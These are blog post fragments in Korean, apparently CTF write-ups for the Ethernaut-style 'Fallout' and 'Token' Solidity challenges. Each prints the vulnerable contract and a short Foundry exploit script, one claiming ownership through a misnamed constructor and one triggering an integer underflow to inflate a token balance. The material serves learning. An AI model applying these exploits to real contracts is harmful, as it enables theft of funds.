    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

PoC

Fal1out 함수 호출하면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IFallout{
    function Fal1out() external payable;
}
contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IFallout target = IFallout(0x2AA05E277f1967DE4a78529ECf610f0F9c36d00A);
        target.Fal1out();
        vm.stopBroadcast();
    }
}

 

 

'wargame' 카테고리의 다른 글

Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

PoC

처음에 발급 받은 토큰 개수보다 더 크게 증가시키는 문제이다.

배포된 컨트랙트 버전이 0.6.0 => 오버/언더플로우 검사 X

20 - 21 = uint256 max값

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface IToken{
    function transfer(address _to, uint256 _value) external returns (bool);
}
contract exploit is Script{
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        IToken target = IToken(0x6b14Da6F2dFcE31d67284Cf2E2Ff3Fd1e265075F);
        target.transfer(msg.sender,21);
        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Vault  (0) 2024.11.13
King  (0) 2024.11.13
Fallback  (0) 2024.11.12

+ Recent posts